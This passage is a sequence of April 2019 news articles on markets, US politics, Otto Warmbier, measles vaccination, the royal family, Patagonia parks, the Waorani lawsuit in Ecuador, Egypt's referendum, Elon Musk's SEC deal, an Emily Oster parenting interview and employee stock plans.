can see Tsakos Energy Navigation's revenue and earnings in the image below. NYSE:TNP Income Statement, April 26th 2019 How does TNP's size impact its beta? Story continues Tsakos Energy Navigation is a noticeably small company, with a market capitalisation of US$284m. Most companies this size are not always actively traded. Relatively few investors can influence the price of a smaller company, compared to a large company. This could explain the high beta value, in this case. What this means for you: Since Tsakos Energy Navigation tends to moves up when the market is going up, and down when it's going down, potential investors may wish to reflect on the overall market, when considering the stock. In order to fully understand whether TNP is a good investment for you, we also need to consider important company-specific fundamentals such as Tsakos Energy Navigations financial health and performance track record. I highly recommend you dive deeper by considering the following: Future Outlook: What are well-informed industry analysts predicting for TNPs future growth? Take a look at our free research report of analyst consensus for TNPs outlook. Past Track Record: Has TNP been consistently performing well irrespective of the ups and downs in the market? Go into more detail in the past performance analysis and take a look at the free visual representations of TNP's historicals for more clarity. Other Interesting Stocks: It's worth checking to see how TNP measures up against other companies on valuation. You could start with this free list of prospective options. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. President Donald Trump is ready for the fight to keep his seat in the White House. In the final few minutes of a nearly 45-minute interview Thursday night with Sean Hannity on Fox News, Trump offered his own scouting report on some of the leading 2020 Democratic presidential contenders, though he doubted any of them would be able to take on the challenge of the presidency. There are currently 20 Democratic candidates, one of the largest and most diverse fields in U.S. history. Here's what Trump had to say about a few of them: Joe Biden Trump had one simple message for the former vice president after he officially announced his candidacy early Thursday: "Welcome to the race Sleepy Joe." The president used the same nickname during Thursday night's interview. I think were calling him Sleepy Joe, cause Ive known him for a while and hes a pretty sleepy guy," the president said. An interactive guide: Who is running for president in 2020? He added that he doesn't believe Biden has the "level of energy and, frankly, intelligence" to deal with foreign leaders such as China President Xi Jinping, who will soon visit the White House. Trump has previously kicked around other nicknames for the Delaware Democrat, including "Crazy Joe Biden." The president told Hannity that some had advised him to think of a different nickname. "A lot of people wanted me to change the word 'sleepy' to something else that rhymes with it, does that makes sense to you?," he said. "I thought it was too nasty." "Hes not going to be able to do the job, Trump concluded. Pete Buttigieg In some of his first remarks on the mayor of South Bend, Indiana, Trump offered warm wishes but predicted disappointment. "Mayor Pete is not going to make it," Trump said, matter-of-factly, before adding: "I hope he would." Buttigieg, who is openly gay, garnered increased attention during a recent back-and-forth with Vice President Mike Pence, who has, in the past, been criticized by the LGBTQ community for his policy stances. Story continues In the first quarter, Buttigieg raised more than $7 million, exceeding expectations for a candidate without the name recognition of many of his competitors. "Im rooting for him, but hes not going to make it," Trump concluded. More: Trump is heading to Pete Buttigieg's home state. Will he attack the rising 2020 candidate? Bernie Sanders Trump doesn't think the Vermont senator has what it takes, either: Hes got a lot of energy, but hes got misguided energy." Sanders, 77, ran for president in 2016, but lost the Democratic primary to Hillary Clinton, who was then beaten by Trump. Trump also claimed Sanders has "done very poorly in terms of the Senate." "Hes had very little legislation," Trump said. "I think he talks a lot, but doesnt get it done. Beto O'Rourke Trump dismissed the former Texas congressman who lost a spirited Senate campaign against Republican Ted Cruz last November. "Hes fading very fast, I think hes fading very fast," Trump said. "It looks like he is going to be a thing of the past pretty soon." While he once looked to be one of the more charismatic potential challengers to Trump, O'Rourke has yet to emerge in the crowded Democratic field. "He is fading fast," the president repeated. "There is no question about it." Money race: Celebrities back Kamala Harris in 2020 fundraising, MAGA hats power Trump's haul in FEC reports Kamala Harris After the California senator announced she was running for president, Trump praised her rollout, saying she had the best "opening act." Trump wasn't as complimentary on Thursday night. I think shes got a little bit of a nasty wit, but that might be it," Trump said. That was similar to Trump's past comments about female candidates. During the 2016 election, Trump called Clinton a "nasty woman," sparking a social media movement of Clinton supporters labeling themselves "nasty" women. This article originally appeared on USA TODAY: Donald Trump on 2020 Democrats: 'Rooting' for Pete Buttigieg, Beto O'Rourke is 'fading' and more WASHINGTON President Donald Trump said Friday his administration did not pay a $2 million medical bill demanded by North Korean leader Kim Jong Un for the release of hostage Otto Warmbier. "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else," Trump tweeted. The president made the claim the day after The Washington Post reported North Korea sent a $2 million bill for Warmbier's medical treatment after it released him from prison in 2017. Warmbier was released to the U.S. in a coma from a massive brain injury. Warmbier, 21, died shortly after being returned to his family in Ohio. The Washington Post reported Thursday that North Korea presented a U.S. envoy with a $2 million bill for Warmbier's hospital care, a brazen request from a regime that sentenced the college student to hard labor for removing a poster from a hotel. More: Report: North Korea billed US $2 million for Otto Warmbier's medical care More: 'I don't believe he knew about it.' Trump defends Kim Jong Un on Otto Warmbier's death "The main U.S. envoy sent to retrieve Warmbier signed an agreement to pay the medical bill on instructions passed down from President Trump, according to two people familiar with the situation," the Post reported, though there is no evidence the bill was ever paid. Trump's critics accused him of paying ransom for release of a hostage, something for which he had criticized the Barack Obama administration. Trump denied it in his tweet (and again criticized Obama). No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else. This is not the Obama Administration that paid 1.8 Billion Dollars for four hostages, or gave five terroist hostages plus, who soon went back to battle, for traitor Sgt. Bergdahl! Donald J. Trump (@realDonaldTrump) April 26, 2019 Back in February, some U.S. lawmakers criticized Trump for saying he did not hold Kim responsible for the death of Warmbier. Story continues "I don't believe he knew about it," Trump said after holding a summit meeting with the North Korean leader in Vietnam. "He tells me that he didn't know about it and I will take him at his word." The nuclear summit in Hanoi collapsed when two leaders could not agree on a plan to have North Korea eliminate its nuclear weapons programs in exchange for relief from economic sanctions. Throughout nuclear talks with the North Koreans, Trump has largely avoided discussing Kim's human rights record. This article originally appeared on USA TODAY: Donald Trump: No money paid for Otto Warmbier's release from North Korea WASHINGTON President Donald Trump, who in the past has promoted the theory that vaccines cause autism, said Friday that unvaccinated children should be immunized in light of measles outbreaks in several states. They have to get those shots, Trump told reporters on the White House South Lawn as he was leaving for Indianapolis, where he was to address a National Rifle Association convention. The vaccinations are so important. Trumps comments come as the number of reported cases of measles in the United State this year already has surpassed previous annual totals this century less than four months into 2019, according to the U.S. Centers for Disease Control and Prevention. Measles was declared eliminated from the United States in 2000. But 695 cases, mostly concentrated in New York City, already have been reported this year. In California, hundreds of students and staff have been quarantined at the University of California, Los Angeles and California State University, Los Angeles because of possible measles exposure. President Donald Trump Trump has a long history of comments urging caution on vaccines. Before he ran for president, he incorrectly suggested they may lead to autism. In more recent years, Trump has said he supports children getting vaccinations but argued the shots should be more spread out over time. Healthy young child goes to doctor, gets pumped with massive shot of many vaccines, doesn't feel good and changes AUTISM. Many such cases! the president tweeted in 2014, drawing backlash from public health experts. During his campaign for president in 2016, Trump drew additional attention for meeting with prominent anti-vaccine proponents, but he has insisted in the past that he supports vaccines generally, just not the schedule on which they are given. I'm not saying to not give vaccines, I am just saying give them small doses over a long period of time not one massive dose for a child, Trump tweeted in 2014. To all haters and losers: I am NOT anti-vaccine, but I am against shooting massive doses into tiny children. Spread shots out over time. Donald J. Trump (@realDonaldTrump) March 29, 2014 Numerous studies have discredited the theory of a link between autism and vaccinations. Official groups, including the CDC, have reported there is no proven link between vaccines and autism and no ingredients in vaccines that could cause autism. Still, a minority of parents have chosen not to vaccinate their children. Story continues Vaccine hesitancy, defined as the reluctance or refusal to be vaccinated or to vaccinate your children, has been identified by the World Health Organization as one of the top 10 global health threats of 2019. Measles surge: CDC says measles cases surge past yearly record for 21st century Vaccine hesitancy: Facts alone don't sway anti-vaxxers. So what does? This article originally appeared on USA TODAY: Donald Trump urges measles shots for children, in shift from prior warnings on vaccines The Duchess of Sussex with her mother, Doria Ragland and Prince Harry, at Kensington Palace last year - AFP The Duchess of Sussex's due date has been a closely-guarded secret, and not even Prince Harry and his wife know whether to prepare for a prince or a princess. But the one thing that is in no doubt is that, when it comes to welcoming Baby Sussex, the Duchess's mother, Doria Ragland, will be with her every step of the way. Ms Ragland has reportedly travelled from LA to London and is apparently staying with her daughter in Frogmore Cottage, sparking rumours that the royal baby's birth is imminent. According to sources, she wants to attend the birth and help the couple settle in with their first born. Here, we take a look at the soon-to-be grandmother and the close bond she shares with her daughter as she supports her through the highs and lows of life as a new royal. Doria flies to London for her first grandchild Ms Ragland is reportedly set to be present while her daughter gives birth, as she has cancelled the yoga class she teaches this week and has hired a dog-sitter, sources claim. It would certainly make sense to have her mother on hand. Meghan is determined not to have a nanny and some reports have even suggested that the 62-year-old has taken classes at Los Angeles-based Cradle Company, in preparation for helping with the newborn. The Duke and Duchess have been busy for the past few months renovating Frogmore Cottage, in the grounds of Windsor Castle, where they now live and are expected to raise their child long-term. The nursery will reportedly be gender-neutral, and decorated in shades of grey and white. The renovations also include a guest room, where Ms Ragland can stay. Previous reports have suggested she may split her time between the US and UK to help raise the royal baby. How did Meghan's parents meet? Ms Ragland was born in Ohio to an antique dealer father and a mother who was a nurse. The family soon moved to Los Angeles, where she attended the Fairfax High School. She is remembered as bright and friendly the teenager with the Afro hair who loved listening to Marvin Gaye and dining out at a local Mexican taco joint with friends. Story continues After school she worked as a make-up artist, which is how she met her husband, Thomas, who was then a lighting director in Hollywood. I like to think he was drawn to her sweet eyes and her Afro, plus their shared love of antiques, Meghan has said of what attracted her father to her mother. The pair married in 1979 and Meghan was born two years later. The family moved into a house in The Valley, LA, to a neighbourhood that Meghan has described as leafy and affordable. But it was far from diverse - to the point that Meghan once remarked: And there was my mom, caramel in complexion with her light-skinned baby in tow, being asked where my mother was since they assumed she was the nanny. When did Meghan's parents divorce? The marriage collapsed when their daughter was just six and after the divorce, Ms Ragland took a job as an air stewardess, meaning their daughter was frequently cared for by her father. To instil a sense of pride in her mixed heritage, he bought two sets of dolls, one with a white family and one with a black family. He took the black mother doll, the white father doll and a child doll in each colour, which he then wrapped and put under the Christmas tree. While Meghan was educated at private schools beginning at Hollywood Little Red Schoolhouse before attending Immaculate Heart High School, an all-girl Catholic private school in Los Angeles Ms Ragland was always careful to nurture a sense gratitude in her only child. The mother took her daughter to visit disadvantaged children in Rwanda, see the slums of Jamaica and experience poverty in Mexico when she was just 10. My mother raised me to be a global citizen, with eyes open to sometimes harsh realities, Meghan wrote on her now closed blog The Tig. Doria Ragland is escorted down the steps of St George's Chapel, Windsor Castle, after the wedding of her daughter Meghan to Prince Harry Credit: Reuters Doria's career Ms Ragland later returned to university to obtain a Masters degree in social work, following on from her BA in psychology; she was described by her daughter as specialising in elder care. Her most recent job was at Didi Hirsch mental health services in the Los Angeles neighbourhood of Culver City an organisation whose mission statement reads: Didi Hirsch transforms lives by providing quality mental health and substance abuse services in communities where stigma or poverty limit access. She works specifically with the geriatric community, Meghan has said, describing her mother as a free-spirited clinical therapist, who also teaches yoga. Meghan Markle and her mother, Doria Ragland, watch the closing ceremony for the Invictus Games in Toronto Credit: REUTERS She is now believed to be seeing private patients as a freelance therapist, from the Crenshaw bungalow which she inherited from her father in 2011. She is also continuing to teach yoga. Doria and Meghan's close bond As the gulf widens between the lifestyles they lead and the circles they mix in, Ms Ragland and her daughter remain extremely close - to prove the point she once drove a car with the number plate MEGNME. Her mother filed for bankruptcy in 2002, but has never spoken publicly about her daughter. And while many speculated a seven hour meeting with Oprah, before the Royal wedding, was to seal a deal to open up about the racist abuse her daughter suffered, those who know the family say she would never do anything without Meghans blessing or that would jeopardise their relationship. In a 2014 Tig post called Love Letter, Meghan captured her mothers personality by describing her in this way: Dreadlocks. Nose ring. Yoga instructor. Social worker. Free spirit. Lover of potato chips & lemon tarts. If the DJ cues Al Greens soul classic Call Me, just forget it, she will swivel her hips into the sweetest little dance youve ever seen, swaying her head and snapping her fingers to the beat like shes been dancing since the womb. And you will smile. You wont be able to help it. You will look at her and you will feel joy. It was just one of many times she wrote about their bond. We can just have so much fun together, and yet, Ill still find so much solace in her support, Meghan said of her mother in 2017. That duality coexists the same way it would in a best friend. This article was first published in May 2018 and has been updated. (Chilean forest service CONAF corrected currency in 5th paragraph to 350 million pesos ($518,000) from $350 million dollars) By Dave Sherwood SANTIAGO, April 26 (Reuters) - The foundation created by the late creator of U.S. clothing brands Esprit and The North Face turned over 407,000 hectares (1 million acres) of forest, mountain, lakes and glaciers in Patagonia to the government of Chile on Friday, the Tompkins Conservation Foundation said. The gift makes final a plan that began with Douglas Tompkins, a U.S. businessman turned conservationist who purchased the land piecemeal from ranchers and others over several years. It was the largest ever private donation of conservation land to the public, the foundation said. Chilean forest service CONAF will manage the two newly created national parks, known as Pumalin and Patagonia, as well as related tourist infrastructure, including lodges, cabins and campsites, through a concession system. Both parks are in a remote region of southern Chile known for its grandiose mountain scenery, untracked Andean peaks and rare species of wildlife, including mountain lions and Andean condors. Chile has committed to investing 350 million pesos ($518,000) to the establishment of staffing and maintenance for the newly public land, including hiring 25 park guards, CONAF said in a statement. "After years of working together with Doug, our dream that Pumalin and Patagonia Parks become national parks ... has come true," Kristine Tompkins, president of the foundation and widow of the late Douglas Tompkins, said in a statement. Douglas Tompkins, who gave up a business career to focus on philanthropy and conservation, died of hypothermia in 2015 after his kayak flipped over in the ice cold waters of the General Carrera lake in southern Chile. Tompkin's foundation struck a deal with the Chilean government shortly after his death to turn the lands over to the state. (Reporting by Dave Sherwood; Editing by Sandra Maler) Nemompare (Ecuador) (AFP) - Spears and poisoned blowguns at hand, the Waorani people say they are ready to strike down invaders of their Amazon homelands, just like their forefathers did. But now their battle is in court, and their enemies -- Ecuador's government and oil multinationals -- are faceless. The prize is their corner of Ecuador's Amazon rainforest, ancestral lands where exploration licenses are up for grabs under a government plan to sell lucrative land concessions to oil companies. A judge in the provincial capital Puyo is to rule on Friday on the tribe's legal challenge to the government's selloff, and a shiver of apprehension is running through their village of Nemompare, deep in the dripping rainforest. "The government sees oil and money but the Waorani see it is full of life," says community leader Nemonte Nenquimo. The 4,000 or so Waorani scattered across the vast Pastaza province in eastern Ecuador believe their land is the front line in a battle for the future of the planet. Some communities have rejected all contact with the outside world, but the Waorani are sufficiently worldly to know that the battle is being lost elsewhere. - Time to act - "Humans are changing the planet because big companies, big factories are destroying it. It is the moment now for the peoples to join and protest, to live well. If we don't protest, if we don't carry out actions, it means we are destroying the planet," said Nenquimo. The tiny settlement of Nemompare is home to around 50 Waos. Many flit through the thick leaves along the shaded forest pathways in scant traditional garb as they gather leaves for weaving or plants for food. Others wear shorts and tee-shirts. The men use blow-guns to hunt small animals. Debanca, another community leader, her face painted red underneath a feathered headdress, gestured across the muddy brown Curaray river on the settlement's edge. "Do you want oil companies to enter and kill the jungle, do away with clean territory, with clean water?" she asked AFP's reporters through an interpreter. Story continues The settlement is located 40 minutes by small plane from Shell, the local town that adopted the oil company's name since its first incursion into the jungle in the late 1930s. With the support of other Wao communities across the province, the Nemompare community went to court to try to block exploration licenses to prevent more destruction of the kind which contaminated their water and gouged out large areas of once-pristine rainforest. "I am not here for myself, rather for the future, all the kids that will come," says Nenquimo, president of the Waorani Council of Pastaza, which filed the lawsuit last month to set aside 180,000 hectares from any exploration. "Thanks to my father, thanks to my grandfather, I still have forest that is alive, with no contamination. They were defenders, caretakers, guardians of the jungle and they are doing this with me -- I don't feel alone." - Defend the jungle 'with our lives' - In Nemompare, the Wao store rainwater in huge tanks for their consumption, supply themselves with energy with solar panels and sleep in hammocks. Although they learned to write with the "Kowori" or outsiders -- mainly missionaries -- they do not use paper. Instead, they keep alive their unique language, wao terere. Sitting near an open fire in the center of a hut, Wina Omaca, a grandmother recognized as a wise elder or "Pekenani," summed up the mood of resistance. "It's not just the 'tapaa' (spear), but the 'campa' and 'aweka' (machete and hatchet) are ready too," she said. Nobody speaks of armed resistance here, let alone a war, but the message appears to be that the Waorani could turn their home into hostile territory for oil company engineers. "Let it be clear. We will defend our jungle, our culture and our rights, with our lives," said Nenquimo. Ecuador's constitution recognizes the Waorani rights to 800,000 hectares of jungle. Crucially, the wealth in the subsoil belongs to the state. The legal challenge to safeguard 180,000 hectares represents less than 1 percent of Ecuador's area. The state reached an agreement with the Waorani during a consultation process over oil exploration in 2012, but the tribe's leaders say they were duped and refuse to recognize the agreement. - 'Our land is not for sale' - For now the fight is in the courts, but there are fears over their reaction to an adverse decision. Two of the more far-flung clans, the Taromenane and Tagaeri have been involved in deadly clashes. "They have not had a friendly relationship," said Miguel Angel Cabodevilla, a Spanish missionary who has studied the tribe for three decades. Tribal elders reported between 20 and 30 dead in clashes in 2013. But "the main violence has been against them, almost always, and been more aggressive," said Cabodevilla. "Their lands have been taken from them, they have been persecuted and killed, they have been enslaved, and now the wealth in the subsoil is being taken from them without adequate compensation." Tribal elder Peke Tokare -- his earlobes stretched by wooden discs -- points a long finger at the slogan on his tee-shirt, written in wao terere: "Our land is not for sale." Cairo (AFP) - As mass protests rock other Arab countries, a snap referendum in Egypt has gone against the grain and cemented President Abdel Fattah al-Sisi's rule for years to come. The three-day ballot saw constitutional changes sail through that allow the former military chief to stay in power until 2030, boost his control over the judiciary and give the army even greater influence in political life. Amid criticism that Sisi has silenced opposition and cracked down on freedoms, officials said more than 88 percent of ballots cast were for "yes". The government has "made sure Egyptians don't see any credible alternative to Sisi so that they don't start to imagine an Egypt that is ruled by anyone else," said Timothy Kaldas, a non-resident fellow at the Tahrir Institute for Middle East Policy. The vote in the Arab world's most populous country came on the heels of uprisings that have forced veteran leaders in Algeria and Sudan to step down earlier this month. And Kaldas said after years of turmoil that saw the ouster of long-time ruler Hosni Mubarak and his Islamist successor Mohamed Morsi, stability remains a priority for many Egyptians. "Undoubtedly some still support Sisi and believe that he has prevented Egypt from suffering the fate of neighbours," he said. "For most Egyptians, they believe they've overthrown two presidents and seen their quality of life get worse each time, so there's little faith that a third uprising will improve the situation." Around 27 million votes were cast, with a turnout rate of 44.33 percent, at the referendum after it was called and held within a matter of days. The amendments prolong Sisi's current term to 2024 from 2022 and allow him to then run for another six-year term. "The country is on the right track and it's stable... it's logical that Sisi is given his full chance to finish what he started," said Mervat Abdel Fattah, a housewife in her fifties. Story continues After the result state television broadcast images of Sisi supporters waving flags and blaring national tunes in Tahrir Square -- the site of angry protests that toppled his two predecessors. - No 'unified' opposition - Analysts put Sisi's thumping victory down to the fractured state of Egypt's marginalised opposition and the use of state resources to back the changes. The opposition's lack of political power and the absence of "a unified stance on the referendum" helped Sisi to an easy win, said Ziad Aqel, political sociology expert at the Al-Ahram Center for Political and Strategic Studies. Especially when coupled with "mobilisation" at the ballot box by state bodies, he added. While people did take to the streets to celebrate, Aqel said their behaviour was "typical" of a political process controlled almost entirely by the state. The New York-based Soufan Center said before the vote that the amendments helped "solidify Sisi's grip" on Egyptian politics. The absence of public opposition to the constitutional changes was "likely a result of the oppressive nature of the Egyptian government", it said in a report published last week. - Bucking the trend - As army chief of staff at the time, Sisi led the military's overthrow of elected president Morsi in 2013 following mass protests against the Islamist leader's rule. Sisi won his first term as president in 2014, three years after the uprising that toppled Mubarak, and was re-elected in March 2018 with more than 97 percent of the vote, after standing virtually unopposed. His government has been widely criticised by human rights groups for the repression of political opponents, thousands of whom have been jailed. Sisi's security services rely on a policy of silencing dissidents on social networks, which played a key role in the overthrow of Mubarak. Reporters Without Borders says there are 33 journalists in Egyptian jail -- accusations authorities deny, saying they have no political prisoners. Egypt's referendum and its outcome have bucked the trend in neighbouring countries like Sudan, where protesters succeeded earlier this month in ousting Omar al-Bashir after 30 years of iron-fisted rule. Now Sudanese protesters are demanding the military, which took power after helping to topple the veteran leader, hand over the reins to a civilian administration. That came little more than a week after an uprising in Algeria forced long-time president Abdelaziz Bouteflika to step down. Protesters there have since kept up their rallies, calling for a complete overhaul of the country's political system. Tesla(TSLA) CEO Elon Musk has reached an agreement with the Securities and Exchange Commission over his use of Twitter, according to an amended filing in U.S. District Court of the Southern District of New York. The late Friday agreement, which still needs to be approved by a judge, lays out exactly what kind of information requires formal legal review before being shared. This oversight process is now required for the company's blog, statements made on investor calls, as well as social media posts for material information. The filing laid out the following items in that list: the Company's financial condition, statements, or results, including earnings or guidance; potential or proposed mergers, acquisitions, dispositions, tender offers,or joint ventures; production numbers or sales or delivery numbers (whether actual, forecasted, or projected) that have not been previously published via pre-approved written communications issued by the Company ("Official Company Guidance") or deviate from previously published Official Company Guidance; new or proposed business lines that are unrelated to then-existing business lines (presently includes vehicles, transportation, and sustainable energy products); projection, forecast, or estimate numbers regarding the Company's business that have not been previously published in Official Company Guidance or deviate from previously published Official Company Guidance; events regarding the Company's securities (including Musk's acquisition or disposition of the Company's securities), credit facilities, or financing or lending arrangements; nonpublic legal or regulatory findings or decisions; any event requiring the filing of a Form 8-K by the Company with the Securities and Exchange Commission, including: - a change in control; or - a change in the Company's directors; any principal executive officer, president, principal financial officer, principal accounting officer, principal operating officer, or any person performing similar functions, or any named executive officer; or such other topics as the Company or the majority of the independent members of its Board of Directors may request, if it or they believe pre-approval of communications regarding such additional topics would protect the interests of the Company's shareholders; Tesla did not immediately reply to a request for comment. Story continues Shares of Tesla gained about 0.9% in postmarket trading. The stock had shed 5% during the normal session and has fallen 29% so far in 2019. Friday's agreement "removes an overhang" for Tesla shareholders, said Dan Ives, managing director for equity research at Wedbush Securities. "Some feared the SEC situation was not going to be resolved favorably so this resolution is a sigh of relief for the bulls. Tesla has enough bad news on its plate so this removes one headache for the Street with the focus now core demand and profitability," he said. This superseding agreement settles a dispute between the SEC and Musk about whether the Tesla chief violated the terms of their original deal in which he had agreed to clear his tweets containing material information about the company before posting. The SEC had asserted that Musk never sought clearance for any tweet. The U.S. regulatory agency had claimed that Musk broke the terms of that agreement in February when he tweeted about Tesla production numbers for 2019. The SEC first charged Musk last year, alleging he made fraudulent statements on Twitter. On Aug. 7, Musk tweeted that he had "funding secured" to take Tesla private at $420 per share. In the first deal, Musk had also agreed to pay a civil penalty of $20 million and forfeit his role as chairman of the board for at least three years. The company also paid a $20 million fine. CNBC's Lora Kolodny contributed to this report. It is often said that babies dont come with instruction manuals, but parenting advice is hardly difficult to come by. On the contrary, theres so much of it from John Locke to Dr. Spock, no fewer than 50,000 books for sale on Amazon and that no pressure, but Im totally judging you mom in your postnatal-yoga class it can feel impossible to know what the right decision is at any given juncture. And there are so many junctures. Emily Oster, an economist at Brown University who focuses on health economics, has set out to make these decisions a little easier for parents by arming them with data and a healthy understanding of the principles of economics-driven decision-making. Her 2013 book, Expecting Better: Why the Conventional Pregnancy Wisdom is Wrong and What You Really Need to Know, has become something like a bible that gets tattered as its passed from friend to pregnant friend. In it, she offers digestible conclusions from reliable research and debunks myths on everything from alcohol and caffeine consumption to exercise and bed rest. Her new book, Cribsheet: A Data-Driven Guide to Better, More Relaxed Parenting, From Birth to Preschool, takes a similar approach with the first three years following birth. Osters aim is not to provide the answer to parents questions about breastfeeding, circumcision, sleep and childcare. Instead, she argues that there is often more than one right answer, and it falls somewhere in between what the data says and what works for each familys unique circumstances. Oster spoke to TIMEwith a brief pause to coordinate with her nannyabout the problem with the phrase studies say, whether breastfeeding is as beneficial as people say it is and how to combat that relentless parental judgment. An economist isnt the first person youd expect to get parenting advice from. How did you decide to apply that framework to this subject? Story continues I got pregnant. I started using a lot of the decision-making and data-analysis tools I use in my job to make choices about my pregnancy and then my parenting. Women are often starved to talk about topics like pregnancy and breastfeeding. After you published Expecting Better, did people begin confiding in you? Yes. I particularly hear a lot from women about things they struggle with, like miscarriages. I think I do sometimes serve as a repository for some of those things that people are uncomfortable talking about, even with people theyre close to, either because its a secret or its embarrassing. When you were deciding what to cover in Cribsheet, in which areas did parents seem the most desperate for answers? People are very starved for answers on breastfeeding and want to know how big a deal it is. They were also starved for answers on the how-tos of breastfeeding. The other place is sleep. It can be hard to get good answers about co-sleeping or sleep training or should your baby be in your room. And it feels so important, because you are so very tired. Did you look at the evolution of parenting advice throughout history? I did look back at what my mother and grandmother [read], which was an interesting window into breastfeeding in particular. You can see this evolution from saying, in the 40s, This is a sort of primitive thing, which mostly youre not going to do, to in the 80s, Well, you might try it, some people like it, to where weve gotten now, with very extreme claims about the benefits. You find some evidence supporting the benefits, but not an overwhelming amount. Should hospitals put so much energy into promoting it? It is a good idea to provide support to women who want to breastfeed, and we dont provide as much as we should. Youre telling people, You have to do this, and then, Dont take your breast out in public. But many women feel pressure and shame if they dont want to breastfeed or if it doesnt work. Misleading people about the size of the benefits, which only adds to that shame, is not good. You write about topics of heated debate like vaccines and circumcision. Do you get hate tweets shooting the messenger for delivering the data? I certainly got some with Expecting Better. I expect I will get more of it. There are relatively few thingsvaccinations is an exceptionwhere I say, I think the right decision is x, because in most cases the best decision involves taking into account the preferences and constraints of the family. I still expect a lot of angry tweets. Data can help us make better decisions if we want to, but even when the data exists, many people find flawed data that suits their own biases. What can economists do if people refuse to heed the data? One of my least favorite phrases is studies say because you can always find a study that says whatever is the thing that you think already. And one of the things I try to do here is not what does a study say but what do all the studies say. But if, in the face of evidence on something like vaccines, people are still not listening, then I think economists would also think about how to deal with policy in those settings. One solution is to use more of a stick approach and try to enforce some particular behavior. Truth itself feels slippery these days. Is there a parallel between parents wanting to believe their way is right and people wanting to believe their political views are right? Theres this idea about motivated reasoning, more in psychology than in economics. You adapt the evidence to support your view. People do that in politics and they do it here for the same reasons people really care, and they want to make the right decision and to have made the right decision. Its hard to admit, I made the wrong choice, or it didnt matter, there are a lot of right choices. One could summarize this book by saying, A lot of the things people think are bad are not that bad, and a lot of the things we think are good are not that good. Is that fair? Part of what makes early parenting so difficult is every choice and decision seems like it is the choice that is going to make or break your kid, including very tiny things. A lot of the message of this book is, there arent really any decisions like that. There are many good choices. Hopefully itll take a little pressure off of this experience which can be quite exhausting. Most kids turn out fine whether theyre sleep-trained using the Ferber or Weissbluth method or not at all, but parental judgment still runs rampant. Is reducing judgment a goal? Yes. And trying to move away from the idea that the choice you made is right and therefore other people should make it, and if they dont, they have done something bad. If we could acknowledge that families make different choices and they could all be right, that would be much healthier. Was there anything in your research that surprised you? When my daughter was born, I was told not to give her any peanuts for two years. It turns out not only is that not good advice, the advice should precisely be the opposite. In the interim between my two kids, we realized introducing allergens early makes kids less likely to be allergic, not more. You address evidence on types of preschool programs, like Montessori and Waldorf. Is it a function of privilege to be able to worry about a choice like that? Im an economist. We know income and education buy choice, and some of the choices in this book are not accessible to everyone. I imagine a reader with more choices is going to find more here. Im hopeful the more basic things about breastfeeding or sleeping will help a large swath of people. But you have to like data. You write that as kids get older, it gets harder to apply data to parenting. Could you write more books in this vein? These issues become so much more complicated and so much more child-specific. Every kid is different, and they become more different as they get older. Its harder to think about data speaking to the questions you would havewhats the right kind of school? Should my kid skip a grade? Im not sure I have as much to bring to the table. Most people dont take economics until college, if at all. But the kinds of decision-making skills you learn about seem like they could be beneficial at a younger age. Should it be taught earlier? Yes! Pretty much starting in elementary school [laughs]. No, I mean, I believe pretty strongly that a lot of the core ideas in economics are very helpful for decision-making in most aspects of life, not just in where should I invest my money. The challenge is that when people take economics in high school or even in college, most of what they get is how does the stock market work and what does the Fed do, which is valuable but not helpful in making decisions about your life. I have a lot of ideas about how to teach this class. They will probably never be realized. Your parents are economists, as is your husband. Do you ever feel like you need to spend some time in the humanities department for a change of pace? Yes. I run a program at Brown which involves a lot of undergrads who are quite interested in the humanities. I have freshman who are taking Greek and philosophy and poetry, so I get to interact a lot with them and the faculty theyre working with. Its good to step out and be like, Oh, there are people working on ancient Greece, thats fun. When you were 2, you were the subject of a study called Narratives From the Crib, in which your parents recorded your precocious chatter to yourself in your crib. How do you feel as an adult, and as a parent, about having been a research subject as a kid? I dont have any strong positive or negative feelings about it. I sometimes think about, would I have done the same thing with my kids, and I think the answer is probably yes. Particularly with very little kids, Im not sure theres so much privacy to protect. I did think about privacy when I was writing this book, and how much about my kids do I want to put in and are they going to later be upset that I said something particular about them. Do you believe economics-driven decision-making can lead to less fighting in a relationship? I do, but I think it may only be because we are both economists. I think that most of the evidence suggests that talking through decisions with your partner is helpful. Im not sure that every couple needs to communicate using solely the language of economics, even though that works fine for me, it works fine for my parents. Economists I know who are married to non-economists tell me that this is not a panacea. The acknowledgements say, Mom, I know this makes you nervous, but thanks for supporting it anyway. Can you explain? When this book comes out, some people will say, Youre not a good parent, youre ruining peoples lives. Im prepared for that and I think the book will help many people, but it really makes my mother feel bad when people say bad things about me. She sounds like a very caring mother. Shes a good mom. While financial experts and advisors often advise against choosing individual stocks, the one exception is employer stock purchase plans (ESPPs), which give employees a chance to profit from their loyalty and their publicly-traded employer's success. "Like employer 401(k) matching contributions, I consider this to be one of the no-brainers of investing," says Mark Wilson, founder and president at Mile Wealth Management in Irvine, California. That's because some plans allow employees to purchase stock at a discount of about 15%. Employees often contribute to the plan through payroll deductions during an enrollment or offering period and the shares are then purchased on the employee's behalf during a purchase period. Some companies even include a "lookback" provision that allows the shares to be purchased at the lowest price that was available during the offering period. [See: 10 of the Best Stocks to Buy for 2019.] While participating in this benefit can help grow your net worth, investors should be wise about how much to buy and when to sell. It may not be for everyone. "As is typically the case, there are rarely 'always' or 'never' ideas or situations when it comes to investing," says Cory Bittner, co-founder and chief operating officer at Falcon Wealth Advisors in Kansas City, Missouri. "It creates a sense of ownership for employees to want to work hard and do well to help their company succeed. However ... an employee needs to have confidence and conviction that their company is doing things the right way and for the right reasons." These five tips can help an employee-investor navigate employee stock purchase plan opportunities: -- Don't put all your eggs in one basket. -- Sell the stock as soon as possible. -- Know your firm. -- Know the restrictions and opportunities. -- Understand the tax consequences. Don't Put All Your Eggs in One Basket Your employee stock should be a relatively small piece of your portfolio, so that you are adequately diversified in all your holdings. Story continues If something happens with the company, your discount -- and potentially your principle -- could be moot, says Brian Koble, chief investment officer at Hefren-Tillotson in Pittsburgh. "Some of the biggest corporate failures in history have witnessed people not only losing their job, but their life savings, when a company fails," says Robert Johnson, professor of finance at Heider College of Business at Creighton University. "Oftentimes, investing in own company 